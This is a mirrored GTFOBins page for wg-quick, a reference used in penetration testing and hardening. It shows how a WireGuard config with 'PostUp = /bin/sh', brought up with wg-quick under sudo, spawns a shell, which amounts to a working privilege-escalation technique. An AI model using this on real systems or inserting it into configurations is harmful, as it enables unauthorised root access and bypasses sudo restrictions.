1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 22:46:19 +01:00
GTFOBins.github.io/_gtfobins/wg-quick
2026-02-02 22:34:01 +01:00

16 lines
312 B
Plaintext

---
functions:
shell:
- code: |-
cat >/path/to/temp-file.conf <<EOF
[Interface]
PostUp = /bin/sh
EOF
wg-quick up /path/to/temp-file.conf
comment: |-
Use `wg-quick down /path/to/temp-file.conf` in order to be able to run the shell again.
contexts:
sudo:
...